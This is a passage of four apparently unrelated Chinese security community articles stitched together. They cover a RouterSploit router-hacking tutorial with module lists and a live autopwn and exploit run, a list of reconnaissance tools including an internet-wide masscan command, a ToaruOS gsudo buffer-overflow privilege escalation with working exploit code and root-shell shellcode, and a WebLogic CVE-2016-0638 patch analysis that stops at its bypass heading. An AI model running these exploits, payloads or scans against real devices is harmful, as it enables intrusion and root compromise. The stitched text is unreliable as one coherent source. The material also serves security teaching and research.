git clone https://github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py
在macOS或Mac OS X上，方法类似。在终端窗口，输入:
git clone https://github.com/threat9/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
## 运行RouterSploit
第一次运行时，请用你想要扫描的路由器将计算机连接到网络。通过键入以下命令导航到RouterSploit文件夹并运行RouterSploit。
cd
cd routersploit
sudo python ./rsf.py
RouterSploit框架将打开，你会看到它在接口风格和工作流方面与Metasploit框架具有惊人的相似性。
命令行界面允许你输入简单的命令来扫描和利用路由器，可以通过键入以下内容查看RouterSploit提供的所有内容：
show all
正如你在下面的输出中所看到的，有许多exploits、默认cred和扫描程序!多么有趣。
creds/generic/snmp_bruteforce
creds/generic/telnet_default
creds/generic/ssh_default
creds/generic/ftp_bruteforce
creds/generic/http_basic_digest_bruteforce
creds/generic/ftp_default
creds/generic/http_basic_digest_default
creds/generic/ssh_bruteforce
creds/generic/telnet_bruteforce
creds/routers/ipfire/ssh_default_creds
creds/routers/ipfire/telnet_default_creds
creds/routers/ipfire/ftp_default_creds
creds/routers/bhu/ssh_default_creds
creds/routers/bhu/telnet_default_creds
creds/routers/bhu/ftp_default_creds
creds/routers/linksys/ssh_default_creds
creds/routers/linksys/telnet_default_creds
creds/routers/linksys/ftp_default_creds
creds/routers/technicolor/ssh_default_creds
creds/routers/technicolor/telnet_default_creds
creds/routers/technicolor/ftp_default_creds
creds/routers/asus/ssh_default_creds
creds/routers/asus/telnet_default_creds
creds/routers/asus/ftp_default_creds
creds/routers/billion/ssh_default_creds
creds/routers/billion/telnet_default_creds
creds/routers/billion/ftp_default_creds
creds/routers/zte/ssh_default_creds
creds/routers/zte/telnet_default_creds
creds/routers/zte/ftp_default_creds
creds/routers/ubiquiti/ssh_default_creds
creds/routers/ubiquiti/telnet_default_creds
creds/routers/ubiquiti/ftp_default_creds
creds/routers/asmax/ssh_default_creds
creds/routers/asmax/telnet_default_creds
creds/routers/asmax/ftp_default_creds
creds/routers/asmax/webinterface_http_auth_default_creds
creds/routers/huawei/ssh_default_creds
creds/routers/huawei/telnet_default_creds
creds/routers/huawei/ftp_default_creds
creds/routers/tplink/ssh_default_creds
creds/routers/tplink/telnet_default_creds
creds/routers/tplink/ftp_default_creds
creds/routers/netgear/ssh_default_creds
creds/routers/netgear/telnet_default_creds
creds/routers/netgear/ftp_default_creds
creds/routers/mikrotik/ssh_default_creds
creds/routers/mikrotik/telnet_default_creds
creds/routers/mikrotik/ftp_default_creds
creds/routers/mikrotik/api_ros_default_creds
creds/routers/movistar/ssh_default_creds
creds/routers/movistar/telnet_default_creds
creds/routers/movistar/ftp_default_creds
creds/routers/dlink/ssh_default_creds
creds/routers/dlink/telnet_default_creds
creds/routers/dlink/ftp_default_creds
creds/routers/juniper/ssh_default_creds
creds/routers/juniper/telnet_default_creds
creds/routers/juniper/ftp_default_creds
creds/routers/comtrend/ssh_default_creds
creds/routers/comtrend/telnet_default_creds
creds/routers/comtrend/ftp_default_creds
creds/routers/fortinet/ssh_default_creds
creds/routers/fortinet/telnet_default_creds
creds/routers/fortinet/ftp_default_creds
creds/routers/belkin/ssh_default_creds
creds/routers/belkin/telnet_default_creds
creds/routers/belkin/ftp_default_creds
creds/routers/netsys/ssh_default_creds
creds/routers/netsys/telnet_default_creds
creds/routers/netsys/ftp_default_creds
creds/routers/pfsense/ssh_default_creds
creds/routers/pfsense/webinterface_http_form_default_creds
creds/routers/zyxel/ssh_default_creds
creds/routers/zyxel/telnet_default_creds
creds/routers/zyxel/ftp_default_creds
creds/routers/thomson/ssh_default_creds
creds/routers/thomson/telnet_default_creds
creds/routers/thomson/ftp_default_creds
creds/routers/netcore/ssh_default_creds
creds/routers/netcore/telnet_default_creds
creds/routers/netcore/ftp_default_creds
creds/routers/cisco/ssh_default_creds
creds/routers/cisco/telnet_default_creds
creds/routers/cisco/ftp_default_creds
creds/cameras/grandstream/ssh_default_creds
creds/cameras/grandstream/telnet_default_creds
creds/cameras/grandstream/ftp_default_creds
creds/cameras/basler/ssh_default_creds
creds/cameras/basler/webinterface_http_form_default_creds
creds/cameras/basler/telnet_default_creds
creds/cameras/basler/ftp_default_creds
creds/cameras/avtech/ssh_default_creds
creds/cameras/avtech/telnet_default_creds
creds/cameras/avtech/ftp_default_creds
creds/cameras/vacron/ssh_default_creds
creds/cameras/vacron/telnet_default_creds
creds/cameras/vacron/ftp_default_creds
creds/cameras/acti/ssh_default_creds
creds/cameras/acti/webinterface_http_form_default_creds
creds/cameras/acti/telnet_default_creds
creds/cameras/acti/ftp_default_creds
creds/cameras/sentry360/ssh_default_creds
creds/cameras/sentry360/telnet_default_creds
creds/cameras/sentry360/ftp_default_creds
creds/cameras/siemens/ssh_default_creds
creds/cameras/siemens/telnet_default_creds
creds/cameras/siemens/ftp_default_creds
creds/cameras/american_dynamics/ssh_default_creds
creds/cameras/american_dynamics/telnet_default_creds
creds/cameras/american_dynamics/ftp_default_creds
creds/cameras/videoiq/ssh_default_creds
creds/cameras/videoiq/telnet_default_creds
creds/cameras/videoiq/ftp_default_creds
creds/cameras/jvc/ssh_default_creds
creds/cameras/jvc/telnet_default_creds
creds/cameras/jvc/ftp_default_creds
creds/cameras/speco/ssh_default_creds
creds/cameras/speco/telnet_default_creds
creds/cameras/speco/ftp_default_creds
creds/cameras/iqinvision/ssh_default_creds
creds/cameras/iqinvision/telnet_default_creds
creds/cameras/iqinvision/ftp_default_creds
creds/cameras/avigilon/ssh_default_creds
creds/cameras/avigilon/telnet_default_creds
creds/cameras/avigilon/ftp_default_creds
creds/cameras/canon/ssh_default_creds
creds/cameras/canon/telnet_default_creds
creds/cameras/canon/ftp_default_creds
creds/cameras/canon/webinterface_http_auth_default_creds
creds/cameras/hikvision/ssh_default_creds
creds/cameras/hikvision/telnet_default_creds
creds/cameras/hikvision/ftp_default_creds
creds/cameras/dlink/ssh_default_creds
creds/cameras/dlink/telnet_default_creds
creds/cameras/dlink/ftp_default_creds
creds/cameras/honeywell/ssh_default_creds
creds/cameras/honeywell/telnet_default_creds
creds/cameras/honeywell/ftp_default_creds
creds/cameras/samsung/ssh_default_creds
creds/cameras/samsung/telnet_default_creds
creds/cameras/samsung/ftp_default_creds
creds/cameras/axis/ssh_default_creds
creds/cameras/axis/telnet_default_creds
creds/cameras/axis/ftp_default_creds
creds/cameras/axis/webinterface_http_auth_default_creds
creds/cameras/arecont/ssh_default_creds
creds/cameras/arecont/telnet_default_creds
creds/cameras/arecont/ftp_default_creds
creds/cameras/brickcom/ssh_default_creds
creds/cameras/brickcom/telnet_default_creds
creds/cameras/brickcom/ftp_default_creds
creds/cameras/brickcom/webinterface_http_auth_default_creds
creds/cameras/mobotix/ssh_default_creds
creds/cameras/mobotix/telnet_default_creds
creds/cameras/mobotix/ftp_default_creds
creds/cameras/geovision/ssh_default_creds
creds/cameras/geovision/telnet_default_creds
creds/cameras/geovision/ftp_default_creds
creds/cameras/stardot/ssh_default_creds
creds/cameras/stardot/telnet_default_creds
creds/cameras/stardot/ftp_default_creds
creds/cameras/cisco/ssh_default_creds
creds/cameras/cisco/telnet_default_creds
creds/cameras/cisco/ftp_default_creds
payloads/perl/bind_tcp
payloads/perl/reverse_tcp
payloads/python/bind_tcp
payloads/python/reverse_tcp
payloads/python/bind_udp
payloads/python/reverse_udp
payloads/mipsbe/bind_tcp
payloads/mipsbe/reverse_tcp
payloads/armle/bind_tcp
payloads/armle/reverse_tcp
payloads/x86/bind_tcp
payloads/x86/reverse_tcp
payloads/php/bind_tcp
payloads/php/reverse_tcp
payloads/cmd/php_reverse_tcp
payloads/cmd/python_reverse_tcp
payloads/cmd/python_bind_tcp
payloads/cmd/perl_reverse_tcp
payloads/cmd/netcat_reverse_tcp
payloads/cmd/awk_reverse_tcp
payloads/cmd/awk_bind_tcp
payloads/cmd/bash_reverse_tcp
payloads/cmd/php_bind_tcp
payloads/cmd/awk_bind_udp
payloads/cmd/netcat_bind_tcp
payloads/cmd/perl_bind_tcp
payloads/cmd/python_reverse_udp
payloads/cmd/python_bind_udp
payloads/x64/bind_tcp
payloads/x64/reverse_tcp
payloads/mipsle/bind_tcp
payloads/mipsle/reverse_tcp
scanners/autopwn
scanners/misc/misc_scan
scanners/routers/router_scan
scanners/cameras/camera_scan
exploits/generic/shellshock
exploits/generic/ssh_auth_keys
exploits/generic/heartbleed
exploits/misc/asus/b1m_projector_rce
exploits/misc/wepresent/wipg1000_rce
exploits/misc/miele/pg8528_path_traversal
exploits/routers/ipfire/ipfire_oinkcode_rce
exploits/routers/ipfire/ipfire_proxy_rce
exploits/routers/ipfire/ipfire_shellshock
exploits/routers/2wire/gateway_auth_bypass
exploits/routers/2wire/4011g_5012nv_path_traversal
exploits/routers/bhu/bhu_urouter_rce
exploits/routers/linksys/1500_2500_rce
exploits/routers/linksys/smartwifi_password_disclosure
exploits/routers/linksys/wrt100_110_rce
exploits/routers/linksys/wap54gv3_rce
exploits/routers/technicolor/tg784_authbypass
exploits/routers/technicolor/tc7200_password_disclosure_v2
exploits/routers/technicolor/dwg855_authbypass
exploits/routers/technicolor/tc7200_password_disclosure
exploits/routers/asus/infosvr_backdoor_rce
exploits/routers/asus/rt_n16_password_disclosure
exploits/routers/billion/billion_5200w_rce
exploits/routers/billion/billion_7700nr4_password_disclosure
exploits/routers/zte/f460_f660_backdoor
exploits/routers/zte/zxv10_rce
exploits/routers/ubiquiti/airos_6_x
exploits/routers/asmax/ar_1004g_password_disclosure
exploits/routers/asmax/ar_804_gu_rce
exploits/routers/huawei/hg520_info_dislosure
exploits/routers/huawei/hg866_password_change
exploits/routers/huawei/hg530_hg520b_password_disclosure
exploits/routers/huawei/e5331_mifi_info_disclosure
exploits/routers/tplink/wdr740nd_wdr740n_backdoor
exploits/routers/tplink/archer_c2_c20i_rce
exploits/routers/tplink/wdr740nd_wdr740n_path_traversal
exploits/routers/tplink/wdr842nd_wdr842n_configure_disclosure
exploits/routers/netgear/jnr1010_path_traversal
exploits/routers/netgear/n300_auth_bypass
exploits/routers/netgear/multi_password_disclosure-2017-5521
exploits/routers/netgear/dgn2200_dnslookup_cgi_rce
exploits/routers/netgear/prosafe_rce
exploits/routers/netgear/r7000_r6400_rce
exploits/routers/netgear/multi_rce
exploits/routers/netgear/wnr500_612v3_jnr1010_2010_path_traversal
exploits/routers/netgear/dgn2200_ping_cgi_rce
exploits/routers/mikrotik/routeros_jailbreak
exploits/routers/movistar/adsl_router_bhs_rta_path_traversal
exploits/routers/dlink/dsp_w110_rce
exploits/routers/dlink/dgs_1510_add_user
exploits/routers/dlink/dir_645_815_rce
exploits/routers/dlink/dir_815_850l_rce
exploits/routers/dlink/dir_300_320_615_auth_bypass
exploits/routers/dlink/dir_645_password_disclosure
exploits/routers/dlink/dir_850l_creds_disclosure
exploits/routers/dlink/dvg_n5402sp_path_traversal
exploits/routers/dlink/dsl_2640b_dns_change
exploits/routers/dlink/dcs_930l_auth_rce
exploits/routers/dlink/dir_825_path_traversal
exploits/routers/dlink/multi_hedwig_cgi_exec
exploits/routers/dlink/dns_320l_327l_rce
exploits/routers/dlink/dsl_2730_2750_path_traversal
exploits/routers/dlink/dsl_2750b_info_disclosure
exploits/routers/dlink/dir_300_600_rce
exploits/routers/dlink/dwl_3200ap_password_disclosure
exploits/routers/dlink/dsl_2740r_dns_change
exploits/routers/dlink/dir_8xx_password_disclosure
exploits/routers/dlink/dwr_932b_backdoor
exploits/routers/dlink/dsl_2730b_2780b_526b_dns_change
exploits/routers/dlink/dwr_932_info_disclosure
exploits/routers/dlink/dir_300_320_600_615_info_disclosure
exploits/routers/dlink/dsl_2750b_rce
exploits/routers/dlink/multi_hnap_rce
exploits/routers/dlink/dir_300_645_815_upnp_rce
exploits/routers/3com/ap8760_password_disclosure
exploits/routers/3com/imc_path_traversal
exploits/routers/3com/officeconnect_rce
exploits/routers/3com/officeconnect_info_disclosure
exploits/routers/3com/imc_info_disclosure
exploits/routers/comtrend/ct_5361t_password_disclosure
exploits/routers/fortinet/fortigate_os_backdoor
exploits/routers/multi/rom0
exploits/routers/multi/tcp_32764_rce
exploits/routers/multi/misfortune_cookie
exploits/routers/multi/tcp_32764_info_disclosure
exploits/routers/multi/gpon_home_gateway_rce
exploits/routers/belkin/g_plus_info_disclosure
exploits/routers/belkin/play_max_prce
exploits/routers/belkin/n150_path_traversal
exploits/routers/belkin/n750_rce
exploits/routers/belkin/g_n150_password_disclosure
exploits/routers/belkin/auth_bypass
exploits/routers/netsys/multi_rce
exploits/routers/shuttle/915wm_dns_change
exploits/routers/zyxel/d1000_rce
exploits/routers/zyxel/p660hn_t_v2_rce
exploits/routers/zyxel/d1000_wifi_password_disclosure
exploits/routers/zyxel/zywall_usg_extract_hashes
exploits/routers/zyxel/p660hn_t_v1_rce
exploits/routers/thomson/twg850_password_disclosure
exploits/routers/thomson/twg849_info_disclosure
exploits/routers/netcore/udp_53413_rce
exploits/routers/cisco/secure_acs_bypass
exploits/routers/cisco/catalyst_2960_rocem
exploits/routers/cisco/ucs_manager_rce
exploits/routers/cisco/unified_multi_path_traversal
exploits/routers/cisco/firepower_management60_path_traversal
exploits/routers/cisco/firepower_management60_rce
exploits/routers/cisco/video_surv_path_traversal
exploits/routers/cisco/dpc2420_info_disclosure
exploits/routers/cisco/ios_http_authorization_bypass
exploits/routers/cisco/ucm_info_disclosure
exploits/cameras/grandstream/gxv3611hd_ip_camera_sqli
exploits/cameras/grandstream/gxv3611hd_ip_camera_backdoor
exploits/cameras/mvpower/dvr_jaws_rce
exploits/cameras/siemens/cvms2025_credentials_disclosure
exploits/cameras/avigilon/videoiq_camera_path_traversal
exploits/cameras/xiongmai/uc_httpd_path_traversal
exploits/cameras/dlink/dcs_930l_932l_auth_bypass
exploits/cameras/honeywell/hicc_1100pt_password_disclosure
exploits/cameras/brickcom/corp_network_cameras_conf_disclosure
exploits/cameras/brickcom/users_cgi_creds_disclosure
exploits/cameras/multi/P2P_wificam_credential_disclosure
exploits/cameras/multi/dvr_creds_disclosure
exploits/cameras/multi/jvc_vanderbilt_honeywell_path_traversal
exploits/cameras/multi/netwave_ip_camera_information_disclosure
exploits/cameras/multi/P2P_wificam_rce
generic/bluetooth/btle_enumerate
generic/bluetooth/btle_scan
generic/bluetooth/btle_write
generic/upnp/ssdp_msearch
rsf >
首先，我们将从扫描目标路由器开始，它将检查是否每个漏洞都可能对它起作用。它将在扫描结束时返回一个列表，其中包含针对目标的每一个攻击——不需要进行任何研究。
## 扫描目标
我们将使用Autopwn扫描程序查找适用于我们目标的任何漏洞。 找到路由器的IP地址并保存，因为我们很快就需要输入它。
大多数情况下路由器是192.168.0.1，但这是可以改变的。 如果你不知道，可以使用[Fing](https://www.fing.io/)或[ARP-scan](https://github.com/royhills/arp-scan)查找IP地址。
* 不要错过:[使用Netdiscover & ARP查找内部IP和MAC地址](https://null-byte.wonderhowto.com/how-to/hack-like-pro-using-netdiscover-arp-find-internal-ip-and-mac-addresses-0150333/)
启动RouterSploit后，输入以下命令进入Autopwn模块。
use scanners/autopwn
show options
这与Metasploit非常相似。为了解决这个问题，输入`use`，然后输入要使用的模块，`show
options`来显示你所选择的模块的变量，`set`设置为从`show
options`命令中看到的任何变量，最后，`run`以执行模块。很简单。要关闭模块并将您带到主屏幕，请键入`exit`。
rsf > use scanners/autopwn
rsf (AutoPwn) > show options
Target options:
Name Current settings Description
---- ---------------- ----------- target Target IPv4 or IPv6 address
Module options:
Name Current settings Description
---- ---------------- ----------- http_port 80 Target Web Interface Port
http_ssl false HTTPS enabled: true/false
ftp_port 21 Target FTP port (default: 21)
ftp_ssl false FTPS enabled: true/false
ssh_port 22 Target SSH port (default: 22)
telnet_port 23 Target Telnet port (default: 23)
threads 8
在这种情况下，我们将目标设置为路由器的IP地址。输入`set target`，然后是路由器的IP地址，然后按enter键。最后，输入run开始扫描。
rsf (AutoPwn) > set target 10.11.0.4
[+] {'target': '10.11.0.4'}
rsf (AutoPwn) > run
## 选择和配置漏洞利用
扫描完成后，我们将得到它发现的漏洞列表。我们可以从这个列表中选择最适合我们需要的。这里，我们看到一个路由器有很多漏洞。
[*] Elapsed time: ``9.301568031 seconds
[*] Could not verify exploitability:
- exploits/routers/billion/5200w_rce
- exploits/routers/cisco/catalyst_2960_rocem
- exploits/routers/cisco/secure_acs_bypass
- exploits/routers/dlink/dir_815_8501_rce
- exploits/routers/dlink/dsl_2640b_dns_change
- exploits/routers/dlink/dsl_2730b_2780b_526_dns_change
- exploits/routers/dlink/dsl_2740r_dns_change
- exploits/routers/netgear/dgn2200_dnslookup_cgi_rce
- exploits/routers/shuttle/915wm_dns_change
[*] Device is vulnerable:
- exploits/routers/3com/3crads172_info_disclosure
- exploits/routers/3com/officialconnect_rce
- exploits/routers/dlink/dcs_9301_auto_rce
- exploits/routers/dlink/dir_300_600_rce
- exploits/routers/ipfire/ipfire_proxy_rce
- exploits/routers/linksys/1500_2500_rce
- exploits/routers/netgear/prosafe_rce
- exploits/routers/zyxel/zywall_usg_extract_hashes
- exploits/routers/dlink/dcs_9301_9321_authbypass
rsf (AutoPwn) >
让我们从这些脆弱路由器中的一个简单漏洞开始，其中一些泄露了信息。要使用这个漏洞，我们将输入以下命令。
use exploits/routers/3com/3cradsl72_info_disclosure
show options
将出现一个变量列表，可以通过输入以下命令来设置目标:
set target <target router IP>
check
这将设置目标并确认它是易受攻击的。
rsf (AutoPwn) > use exploits/routers/3com/3cradsl72_info_disclosure
show options
rsf (3Com 3CRADSL72 Info Disclosure) > show options
Target options:
Name Current settings Description
---- ---------------- ----------- target Target IPv4 or IPv6 address
rsf (3Com 3CRADSL72 Info Disclosure) > set target 10.11.0.4
[+] {'target': '10.11.0.4'}
rsf (3Com 3CRADSL72 Info Disclosure) > check
/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7.site-package ... reRequestWarning: Unverified HTTPS request is being made. Adding certificate https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)
[+] Target is vulnerable
rsf (3Com 3CRADSL72 Info Disclosure) >
## 运行Exploit
目标看起来不错，也很脆弱。要启动有效负载，请键入run。
rsf (3Com 3CRADSL72 Info Disclosure) > run
[*] Running module...
[*] Sending request to download sensitive information
/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7.site-package ... reRequestWarning: Unverified HTTPS request is being made. Adding certificate https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)
[+] Exploit success
[*] Reading /app_sta.stm file
<!doctype html>
<html class="">
<!--
_#####____####___######___####___####___##______######__#####__
_##__##__##__##__##______##_____##______##______##______##__##_
_#####___######__####_____####___####___##______####____#####__
_##______##__##__##__________##_____##__##______##______##__##_
_##______##__##__######___####___####___######__######__##__##_
We are hiring software developers! https://www.paessler.com/jobs
-->
<head>
<link rel="manifest" href="/public/manifest.json.htm">
<meta httlp-equiv="X-UA-Compatible" content="IE-edge,chrome=1">
<meta name="viewport" content="width=device-width.initial-scale">
如果攻击成功，应该会出现内部配置设置，这些设置可能泄露用户的登录名和密码、默认密码和设备序列号，以及其他允许你破坏路由器的设置。其他模块允许你远程注入代码或直接公开路由器密码。你可以运行哪一个取决于目标路由器容易受到什么攻击。
# Warnings
本简介将使你熟悉如何运行RouterSploit来破坏路由器，现在你可以开始使用其他模块并尝试不同类型的利用。虽然Autopwn是一个方便的特性，但它尝试了很多不同的利用方式，因此在网络上非常嘈杂。首选选项是扫描你的目标，做一些侦察，并只运行目标路由器制造商的相关模块。虽然利用路由器可能很流行，但要记住，在未经许可的情况下在别人的路由器上使用路由器是一种犯罪。除非你是中情局。
你可以在[Twitter](https://twitter.com/SADMIN2001)或[Instagram](https://www.instagram.com/sadmin2001/)上向我提问或@sadmin2001。
* 在[Twitter](https://twitter.com/nullbytewht)和[Google+](https://plus.google.com/106653382407425784977)上关注Null Byte
* 在[Facebook](https://facebook.com/wonderhowto/)，[Twitter](http://twitter.com/wonderhowto/)，[Pinterest](http://pinterest.com/wonderhowto/)和[Google+](https://plus.google.com/+wonderhowto)上关注WonderHowTo | 社区文章 |
# 前言
在渗透测试中，信息收集是第一步，也是至关重要的一步。信息收集可以让我们对目标的整体有大概的了解，从而选择出较为薄弱的方向进行进一步渗透。
本文从ip收集、端口扫描、子域收集、web技术确认、url收集等五个方面来进行对信息收集进行详细说明。
* * *
## ip收集
随着内容分发网络（CDN）的大量应用，对渗透测试造成了进一步的困难，而收集ip既能扩大渗透范围又有可能找出CDN后真正的服务器。
<https://apps.db.ripe.net/>收集了全球大量ipv4、ipv6信息及其所对应的组织，以下以阿里为例：
<https://bgp.he.net>是另一个有关ip及其公司的网站
我们可以通过这两个网址得到大量公司的有关ip。
* * *
## ip扫描
提到ip扫描，我们就自然而然的想到了nmap，nmap是一款功能全面的网络安全发现和安全审计的网络安全工具，但是用于大量ip、大量端口就明显速度堪忧。
我们不得不提到`masscan`这款工具，号称6分钟扫遍全网，每秒可发出千万级别个数的包。
官方文档就给出了这样一条命令：
masscan 0.0.0.0/0 -p0-65535
github: <https://github.com/robertdavidgraham/masscan>
* * *
## 子域收集
### 收集
工具 | 功能 | 优点
---|---|---
[sublist3r](https://github.com/aboul3la/Sublist3r "sublist3r") |
支持搜索引擎检索、dns缓存、爆破等 |
[massdns](https://github.com/blechschmidt/massdns "massdns") |
支持搜索引擎检索、dns缓存、爆破等 | 枚举超快，比其他两款快几十倍
[subfinder](https://github.com/subfinder/subfinder "subfinder") |
支持搜索引擎检索、dns缓存、爆破等 | 在线检索比较全面，当然得配置各种api
### 子域批量访问（可视化）
1. [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness "EyeWitness")旨在获取网站的屏幕截图，提供一些服务器标头信息，并在可能的情况下识别默认凭据。支持html格式，方便找出有弱点的子域
1. [waybackpack](https://github.com/jsvine/waybackpack "waybackpack") 使用已知域上的url路径，在其他子域上进行爆破，有时会有意想不到的收获。
* * *
## web技术确认
1. 浏览器插件----`wappalyzer`
firefox: <https://addons.mozilla.org/firefox/addon/wappalyzer/>
chrome:
<https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg>
* * *
## url收集
1. [wfuzz](https://github.com/xmendez/wfuzz "wfuzz")不仅仅是一个web扫描器，Wfuzz是一个为暴力破解Web应用程序而设计的工具，它可以用于查找未链接的资源（目录，servlet，脚本等），暴力GET和POST参数以检查不同类型的注入（SQL，XSS，LDAP等），强力表单参数（用户/密码），Fuzzing等。
2. [gobuster](https://github.com/OJ/gobuster "gobuster") 是一款用go写的目录、文件、dns、Vhost爆破工具，在爆破方面有着不俗的效率。
1. [SecLists](https://github.com/danielmiessler/SecLists "SecLists")是在安全评估期间使用的多种类型的列表的集合。列表类型包括用户名，密码，URL，敏感数据模式，模糊测试负载，Webshell等等。模糊测试中有这些字典基本就足够了。 | 社区文章 |
ToaruOS是一套使用C语言编写的开源计算机操作系统，是一个由伊利诺伊大学计算机科学本科生开发的业余爱好操作系统。ToAruOS可在POSIX和x86架构上运行。ToAruOS的主要功能包括对进程和线程的支持、ELF二进制的支持、运行时加载模块、管道（Pipe）和各种类型的终端设备（TTY）的支持、虚拟文件系统的支持、EXT2文件系统的支持、信号量支持等。
ToaruOS
1.10.9及之前版本中的gsudo的apps/gsudo.c文件存在缓冲区溢出漏洞。攻击者可借助DISPLAY环境变量利用该漏洞将权限提升至root。
## 0x1 漏洞触发位置
在pex_connect函数使用sprintf拼接字符串，但是没有判断参数target的长度，当target太长时造成了栈溢出。
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
其中参数target是环境变量DISPLAY的值。
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Connection failed. */
}
......
......
}
在gsudo程序调用了yutani_init 函数。gsudo是一个拥有SUID权限的程序，所以gsudo执行时的权限是root，可以利用上面的溢出来提权。
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
## 0x2 SUID
SUID程序会创建s与t权限，是为了让一般用户在执行某些程序的时候，能够暂时具有该程序拥有者的权限。
下面测试一下SUID程序执行的过程。
#include <stdio.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n", res);
system("/bin/sh");
}
setuid函数用来设置当前用户的身份，当参数为0，设置当前进程为root。在调用setuid之后，执行shell程序，观察当前用户。
test@ubuntu:~/test$ gcc -o setid setid.c -w //普通权限
test@ubuntu:~/test$ ./setid
-1
$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ exit
test@ubuntu:~/test$ sudo chown root setid //设置SUID权限
test@ubuntu:~/test$ sudo chmod u+s ./setid
test@ubuntu:~/test$ ./setid
0
# id
uid=0(root) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
# exit
test@ubuntu:~/test$ ls -all ./setid
-rwsrwxr-x 1 root test 8392 Jul 7 19:57 ./setid
在ToaruOS中，操作系统启动完成后，所有程序都通过执行fork到exec_elf加载，程序的权限是父进程的权限。当遇到程序具有setuid权限，设置进程权限为当前文件拥有者权限。下图为ToaruOS源码中设置SUID程序权限的操作。
## 0x3 漏洞利用
此次溢出的程序发生在一个拥有SUID权限的程序，所以利用栈溢出可以进行提权操作。
ToaruOS中没有栈随机、堆随机、栈不可执行等等，这些保护机制，利用起来相当简单，但是也没有gdb一些调试工具，还是要费点心思。
通过栈溢出漏洞控制eip到我们的提权payload地址。栈上可以执行代码，栈地址也是固定的，我们通过argv变量把payload放到栈上。argv的地址直接printf("%x\n",
argv) 打印出来。
设置环境变量的值，控制eip值到argv地址，argv地址不能出现\x00字符，通过填充Nop指令绕过。
#define EIP "\x0c\xc0\x01\x3f"
char vector[8192] = "DISPLAY=AAA";
char * const env[3] = { "aa", vector, NULL };
for (unsigned int i = 0; i < 26; i++)
strcat(vector, EIP);
payload通过arg传递
char payload[85536];
char * const arg[3] = { payload, "ls", NULL };
memset(payload, '\x90', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
执行gsudo
execve("/bin/gsudo", arg, env);
## payload
在payload 首先执行setuid(0)设置当前进程权限，然后执行system(/bin/shh)返回shell。toaruOS通过int
0x7f调用系统函数，在syscall_nums.h中有系统调用号，setuid对应24，system对应7。
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX" | 社区文章 |
# weblogic漏洞分析之CVE-2016-0638
## 一、环境搭建：
这里使用前一篇文章的环境，然后打上补丁
上一篇文章：<https://www.cnblogs.com/yyhuni/p/15137095.html>
1. 下载补丁p20780171_1036_Generic和p22248372_1036012_Generic
2. 解压补丁后，复制补丁到Docker中：
docker cp ./p22248372_1036012_Generic/ d1b6be39e32e:/home/
docker cp ./p20780171_1036_Generic d1b6be39e32e:/home/
1. 安装补丁：
docker exec -it d1b6be39e32e /bin/bash
cd /root/Oracle/Middleware/utils/bsu
mkdir cache_dir
cp /home/p20780171_1036_Generic/* ./cache_dir/
cp /home/p22248372_1036012_Generic/* ./cache_dir/
vi bsu.sh 编辑MEM_ARGS参数为1024
./bsu.sh -install -patch_download_dir=/root/Oracle/Middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/root/Oracle/Middleware/wlserver_10.3 -verbose
./bsu.sh -install -patch_download_dir=/root/Oracle/Middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/root/Oracle/Middleware/wlserver_10.3 -verbose
1. 重启服务：
docker restart d1b6be39e32e
这时候，使用原先的poc已经是失效了，说明补丁成功打上
## 二、补丁分析
配置好weblogic的远程调试端口后，复制jar包，导入idea
详细步骤看前面一篇文章：<https://www.cnblogs.com/yyhuni/p/15137095.html>
补丁位置：
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
第一个位置在`InboundMsgAbbrev`中，新增了个判断
重点在`ClassFilter.isBlackListed`判断是否存在黑名单中，跟进方法
方法`isBlackListed`中对className和pkgName都进行了黑名单判断，匹配到了则返回true。黑名单list
在值为`org.apache.commons.collections.functors.ChainedTransformer`时候抛出了异常
补丁的第二个位置`MsgAbbrevInputStream`也是做了同样的判断
现在来进行一遍流程分析，先看下之前的整个调用栈
POC伪造的T3协议数据包，发送到服务器，服务器反序列化处理到了`InboundMsgAbbrev#readObject`方法中
switch分发节点，到了case0中，调用了`(new
InboundMsgAbbrev.ServerChannelInputStream(in))`的`readObject`方法来进行的反序列化
计算得出为`InboundMsgAbbrev`类中的一个内部类`ServerChannelInputStream`
以下是`ServerChannelInputStream`类的继承图
其继承了`ObjectInputStream`，并重写了`resolveClass`方法
weblogic反序列化类时候调用的是`ServerChannelInputStream`的`readObject`方法，而在执行到`resolveClass`方法的时候调用的是`ServerChannelInputStream`重写的`resolveClass`方法，在方法中对其做了黑名单过滤导致无法执行后面的`readObject`、`readExternal`、`readResolve`方法。
## 三、绕过黑名单
